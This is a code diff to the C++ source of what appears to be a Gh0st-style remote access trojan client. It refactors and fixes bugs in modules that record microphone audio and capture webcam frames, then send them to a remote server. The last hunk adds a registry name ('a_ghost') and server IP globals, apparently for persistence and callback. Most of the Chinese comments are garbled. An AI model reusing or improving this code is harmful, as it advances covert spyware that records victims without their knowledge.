m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL); m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL); m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT)); memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
@@ -33,8 +34,7 @@ CAudio::CAudio()
m_ulBufferLength = 1000; m_ulBufferLength = 1000;
int i = 0; for (int i = 0; i < 2; ++i)
for (i = 0; i < 2; i++)
{ {
m_InAudioData[i] = new BYTE[m_ulBufferLength]; m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR; m_InAudioHeader[i] = new WAVEHDR;
@@ -47,26 +47,7 @@ CAudio::CAudio()
CAudio::~CAudio() CAudio::~CAudio()
{ {
m_bExit = TRUE; m_bExit = TRUE;
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
}
for (int i = 0; i < 2; i++)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_hEventWaveIn) if (m_hEventWaveIn)
{ {
SetEvent(m_hEventWaveIn); SetEvent(m_hEventWaveIn);
@@ -80,15 +61,40 @@ CAudio::~CAudio()
m_hStartRecord = NULL; m_hStartRecord = NULL;
} }
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; ++i)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
for (int i = 0; i < 2; ++i)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_bIsWaveOutUsed) if (m_bIsWaveOutUsed)
{ {
waveOutReset(m_hWaveOut); waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i) {
if (m_InAudioHeader[i])
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveOutClose(m_hWaveOut); waveOutClose(m_hWaveOut);
} }
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
{ {
delete [] m_OutAudioData[i]; delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL; m_OutAudioData[i] = NULL;
@@ -102,8 +108,7 @@ BOOL CAudio::InitializeWaveIn()
MMRESULT mmResult; MMRESULT mmResult;
DWORD dwThreadID = 0; DWORD dwThreadID = 0;
HANDLE h = NULL; m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
m_hThreadCallBack = h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID); CREATE_SUSPENDED, &dwThreadID);
@@ -114,12 +119,11 @@ BOOL CAudio::InitializeWaveIn()
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (mmResult != MMSYSERR_NOERROR) if (mmResult != MMSYSERR_NOERROR)
{ {
CloseHandle(h);
return FALSE; return FALSE;
} }
//¼<><C2BC><EFBFBD><20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //¼<><C2BC><EFBFBD><20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i=0; i<2; i++) for (int i=0; i<2; ++i)
{ {
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
@@ -129,9 +133,10 @@ BOOL CAudio::InitializeWaveIn()
} }
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
if (m_Thread!=NULL)
ResumeThread(h); {
CloseHandle(h); ResumeThread(m_Thread);
}
waveInStart(m_hWaveIn); //¼<><C2BC> waveInStart(m_hWaveIn); //¼<><C2BC>
m_bIsWaveInUsed = TRUE; m_bIsWaveInUsed = TRUE;
@@ -146,10 +151,7 @@ LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{ {
return NULL; return NULL;
} }
if (dwBufferSize == NULL)
{
return NULL;
}
SetEvent(m_hStartRecord); SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE); WaitForSingleObject(m_hEventWaveIn, INFINITE);
*dwBufferSize = m_ulBufferLength; *dwBufferSize = m_ulBufferLength;
@@ -170,16 +172,17 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{ {
SetEvent(This->m_hEventWaveIn); SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE); WaitForSingleObject(This->m_hStartRecord, INFINITE);
if (This->m_bExit)
break;
Sleep(1); Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD> //<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
if (mmResult != MMSYSERR_NOERROR) if (mmResult != MMSYSERR_NOERROR)
return -1; break;
} }
if (Msg.message == MM_WIM_CLOSE) if (Msg.message == MM_WIM_CLOSE)
@@ -194,7 +197,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
std::cout<<"waveInCallBack end\n"; std::cout<<"waveInCallBack end\n";
This->m_hThreadCallBack = false; This->m_hThreadCallBack = false;
return 0; return 0XDEADAAAA;
} }
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize) BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
@@ -215,8 +218,8 @@ BOOL CAudio::InitializeWaveOut()
{ {
if (!waveOutGetNumDevs()) if (!waveOutGetNumDevs())
return FALSE; return FALSE;
int i;
for (i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MMRESULT mmResult; MMRESULT mmResult;
@@ -224,7 +227,7 @@ BOOL CAudio::InitializeWaveOut()
if (mmResult != MMSYSERR_NOERROR) if (mmResult != MMSYSERR_NOERROR)
return false; return false;
for (i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
{ {
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i]; m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength; m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;

View File

@@ -26,9 +26,10 @@ public:
HWAVEIN m_hWaveIn; //<2F><EFBFBD><E8B1B8><EFBFBD><EFBFBD> HWAVEIN m_hWaveIn; //<2F><EFBFBD><E8B1B8><EFBFBD><EFBFBD>
DWORD m_nWaveInIndex; DWORD m_nWaveInIndex;
bool m_hThreadCallBack; bool m_hThreadCallBack;
HANDLE m_Thread;// waveInCallBack<63>߳<EFBFBD>
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD> static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
BOOL CAudio::InitializeWaveIn(); BOOL InitializeWaveIn();
BOOL m_bIsWaveInUsed; BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut; HWAVEOUT m_hWaveOut;
@@ -37,8 +38,8 @@ public:
DWORD m_nWaveOutIndex; DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
BOOL CAudio::InitializeWaveOut(); BOOL InitializeWaveOut();
}; };
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) #endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)

View File

@@ -17,6 +17,8 @@ using namespace std;
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject) CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{ {
printf("new CAudioManager %p\n", this);
m_bIsWorking = FALSE; m_bIsWorking = FALSE;
m_AudioObject = NULL; m_AudioObject = NULL;
@@ -29,6 +31,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL;
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
(LPVOID)this, 0, NULL); (LPVOID)this, 0, NULL);
@@ -41,6 +44,7 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
case COMMAND_NEXT: case COMMAND_NEXT:
{ {
if (1 == ulLength)
NotifyDialogIsOpen(); NotifyDialogIsOpen();
break; break;
} }
@@ -57,7 +61,8 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
CAudioManager *This = (CAudioManager *)lParam; CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking) while (This->m_bIsWorking)
{ {
This->SendRecordBuffer(); if(!This->SendRecordBuffer())
Sleep(50);
} }
cout<<"CAudioManager WorkThread end\n"; cout<<"CAudioManager WorkThread end\n";
@@ -65,26 +70,26 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
return 0; return 0;
} }
int CAudioManager::SendRecordBuffer() BOOL CAudioManager::SendRecordBuffer()
{ {
DWORD dwBufferSize = 0; DWORD dwBufferSize = 0;
DWORD dwReturn = 0; BOOL dwReturn = 0;
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize); LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL) if (szBuffer == NULL)
return 0; return 0;
//<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
LPBYTE szPacket = new BYTE[dwBufferSize + 1]; szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
memcpy(szPacket + 1, szBuffer, dwBufferSize); memcpy(szPacket + 1, szBuffer, dwBufferSize);
szPacket[dwBufferSize] = 0;
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ //<2F><><EFBFBD>ͳ<EFBFBD>ȥ
if (dwBufferSize > 0) if (dwBufferSize > 0)
{ {
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1); dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
} }
delete szPacket;
return dwReturn; return dwReturn;
} }
@@ -100,6 +105,12 @@ CAudioManager::~CAudioManager()
delete m_AudioObject; delete m_AudioObject;
m_AudioObject = NULL; m_AudioObject = NULL;
} }
if (szPacket)
{
delete [] szPacket;
szPacket = NULL;
}
printf("~CAudioManager %p\n", this);
} }
//USB //USB

View File

@@ -23,9 +23,10 @@ public:
BOOL m_bIsWorking; BOOL m_bIsWorking;
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
static DWORD WorkThread(LPVOID lParam); static DWORD WorkThread(LPVOID lParam);
int CAudioManager::SendRecordBuffer(); BOOL SendRecordBuffer();
CAudio* m_AudioObject; CAudio* m_AudioObject;
LPBYTE szPacket; // <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}; };
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_) #endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)

View File

@@ -30,102 +30,101 @@ CBuffer::~CBuffer(void)
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength) ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
{ {
if (ulLength > GetBufferMaxLength()) if (ulLength > m_ulMaxLength)
{ {
return 0; return 0;
} }
if (ulLength > GetBufferLength()) ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
if (ulLength > len)
{ {
ulLength = GetBufferLength(); ulLength = len;
} }
if (ulLength) if (ulLength)
{ {
CopyMemory(Buffer,m_Base,ulLength); CopyMemory(Buffer,m_Base,ulLength);
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength);
m_Ptr -= ulLength; m_Ptr -= ulLength;
} }
DeAllocateBuffer(GetBufferLength()); DeAllocateBuffer((ULONG)m_Ptr - (ULONG)m_Base);
return ulLength; return ulLength;
} }
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>С
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength) VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
{ {
if (ulLength < GetBufferLength()) int len = (ULONG)m_Ptr - (ULONG)m_Base;
return 0; if (ulLength < len)
return;
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
if (GetBufferMaxLength() <= ulNewMaxLength) if (m_ulMaxLength <= ulNewMaxLength)
{ {
return 0; return;
} }
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
if (NewBase == NULL)
return;
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD> CopyMemory(NewBase,m_Base,len);
CopyMemory(NewBase,m_Base,ulv1);
VirtualFree(m_Base,0,MEM_RELEASE); VirtualFree(m_Base,0,MEM_RELEASE);
m_Base = NewBase; m_Base = NewBase;
m_Ptr = m_Base + ulv1; m_Ptr = m_Base + len;
m_ulMaxLength = ulNewMaxLength; m_ulMaxLength = ulNewMaxLength;
return m_ulMaxLength;
} }
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength) BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
{ {
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024 if (ReAllocateBuffer(ulLength + ((ULONG)m_Ptr - (ULONG)m_Base)) == FALSE)
{ {
return false; return FALSE;
} }
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5 CopyMemory(m_Ptr, Buffer, ulLength);
m_Ptr+=ulLength; m_Ptr+=ulLength;
return TRUE; return TRUE;
} }
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȳ<EFBFBD><C8B2><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength) BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
{ {
if (ulLength < GetBufferMaxLength()) if (ulLength < m_ulMaxLength)
return 0; return TRUE;
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
if (NewBase == NULL) if (NewBase == NULL)
{ {
return -1; return FALSE;
} }
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
CopyMemory(NewBase,m_Base,ulv1); CopyMemory(NewBase, m_Base, len);
if (m_Base) if (m_Base)
{ {
VirtualFree(m_Base,0,MEM_RELEASE); VirtualFree(m_Base,0,MEM_RELEASE);
} }
m_Base = NewBase; m_Base = NewBase;
m_Ptr = m_Base + ulv1; //1024 m_Ptr = m_Base + len;
m_ulMaxLength = ulNewMaxLength;
m_ulMaxLength = ulNewMaxLength; //2048 return TRUE;
return m_ulMaxLength;
} }
VOID CBuffer::ClearBuffer() VOID CBuffer::ClearBuffer()
{ {
m_Ptr = m_Base; m_Ptr = m_Base;
@@ -135,27 +134,15 @@ VOID CBuffer::ClearBuffer()
ULONG CBuffer::GetBufferLength() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> ULONG CBuffer::GetBufferLength() const
{ {
if (m_Base == NULL)
return 0;
return (ULONG)m_Ptr - (ULONG)m_Base; return (ULONG)m_Ptr - (ULONG)m_Base;
} }
ULONG CBuffer::GetBufferMaxLength() PBYTE CBuffer::GetBuffer(ULONG ulPos) const
{ {
return m_ulMaxLength; if (m_Base==NULL || ulPos>=((ULONG)m_Ptr - (ULONG)m_Base))
}
PBYTE CBuffer::GetBuffer(ULONG ulPos)
{
if (m_Base==NULL)
{
return NULL;
}
if (ulPos>=GetBufferLength())
{ {
return NULL; return NULL;
} }

View File

@@ -8,14 +8,13 @@ public:
CBuffer(void); CBuffer(void);
~CBuffer(void); ~CBuffer(void);
ULONG GetBufferMaxLength();
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
ULONG GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>; ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
ULONG DeAllocateBuffer(ULONG ulLength); VOID DeAllocateBuffer(ULONG ulLength);
VOID ClearBuffer(); VOID ClearBuffer();
ULONG ReAllocateBuffer(ULONG ulLength); BOOL ReAllocateBuffer(ULONG ulLength);
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
PBYTE GetBuffer(ULONG ulPos=0); PBYTE GetBuffer(ULONG ulPos=0) const;
protected: protected:
PBYTE m_Base; PBYTE m_Base;

View File

@@ -12,18 +12,23 @@ CSampleGrabberCB mCB;
CCaptureVideo::CCaptureVideo() CCaptureVideo::CCaptureVideo()
{ {
if(FAILED(CoInitialize(NULL)))
{
return;
}
m_pCapture = NULL; m_pCapture = NULL;
m_pGB = NULL; m_pGB = NULL;
m_pMC = NULL; m_pMC = NULL;
m_pVW = NULL; m_pVW = NULL;
m_pBF = NULL;
m_pGrabber = NULL;
m_bExit = FALSE;
m_hWnd = NULL;
if (FAILED(CoInitialize(NULL)))
{
return;
}
} }
CCaptureVideo::~CCaptureVideo() CCaptureVideo::~CCaptureVideo()
{ {
m_bExit = TRUE;
if(m_pMC)m_pMC->StopWhenReady(); if(m_pMC)m_pMC->StopWhenReady();
if(m_pVW){ if(m_pVW){
m_pVW->put_Visible(OAFALSE); m_pVW->put_Visible(OAFALSE);
@@ -39,7 +44,6 @@ CCaptureVideo::~CCaptureVideo()
CoUninitialize() ; CoUninitialize() ;
} }
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{ {
printf("CCaptureVideo call Open\n"); printf("CCaptureVideo call Open\n");
@@ -254,14 +258,16 @@ void CCaptureVideo::SendEnd() //
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize) LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{ {
BYTE *szBuffer = NULL; BYTE *szBuffer = NULL;
int n = 200; // 10sû<73>л<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򷵻<EFBFBD>NULL
do do
{ {
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬ if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{ {
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> if (szBuffer = mCB.GetNextScreen(dwSize)) //<2F>Ƿ<EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ
break;
} }
} while (szBuffer==NULL); Sleep(50);
} while (!m_bExit && --n);
return szBuffer; return szBuffer;
} }

View File

@@ -36,7 +36,7 @@ public:
LPBITMAPINFO m_BitmapInfor_Full; LPBITMAPINFO m_BitmapInfor_Full;
BYTE* m_BitmapData_Full; BYTE* m_BitmapData_Full;
BOOL bStact; BOOL bStact;
DWORD m_dwSize; DWORD m_dwSize; // <20><>Ƶͼ<C6B5><CDBC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
CSampleGrabberCB() CSampleGrabberCB()
{ {
@@ -152,18 +152,23 @@ public:
} }
}; };
extern CSampleGrabberCB mCB;
class CCaptureVideo class CCaptureVideo
{ {
public: public:
CCaptureVideo(); CCaptureVideo();
virtual ~CCaptureVideo(); virtual ~CCaptureVideo();
LPBITMAPINFO CCaptureVideo::GetBmpInfor(); LPBITMAPINFO GetBmpInfor();
HRESULT CCaptureVideo::InitCaptureGraphBuilder(); HRESULT InitCaptureGraphBuilder();
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress); HRESULT Open(int iDeviceID,int iPress);
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter); BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter);
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize); LPBYTE GetDIB(DWORD& dwSize);
int GetDIBBufSize() const { return mCB.m_dwSize; }
BOOL m_bExit;
HWND m_hWnd; HWND m_hWnd;
@@ -176,10 +181,10 @@ public:
IBaseFilter* m_pBF; //FDO IBaseFilter* m_pBF; //FDO
ISampleGrabber* m_pGrabber; //<2F><><EFBFBD><EFBFBD> 24Color ISampleGrabber* m_pGrabber; //<2F><><EFBFBD><EFBFBD> 24Color
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt); void FreeMediaType(AM_MEDIA_TYPE& mt);
void CCaptureVideo::ResizeVideoWindow(); void ResizeVideoWindow();
HRESULT CCaptureVideo::SetupVideoWindow(); HRESULT SetupVideoWindow();
void CCaptureVideo::SendEnd(); void SendEnd();
}; };
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_) #endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)

View File

@@ -7,12 +7,26 @@
#include <IOSTREAM> #include <IOSTREAM>
#include "LoginServer.h" #include "LoginServer.h"
#include "KernelManager.h" #include "KernelManager.h"
#include <iosfwd>
#include <vector>
#include <iostream>
#include <fstream>
#include <sstream>
#include <shellapi.h>
#include <corecrt_io.h>
using namespace std; using namespace std;
char g_szServerIP[MAX_PATH] = {0}; // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
unsigned short g_uPort = 0; #define REG_NAME "a_ghost"
bool g_bExit = false;
bool g_bThreadExit = false; // Զ<>̵<EFBFBD>ַ
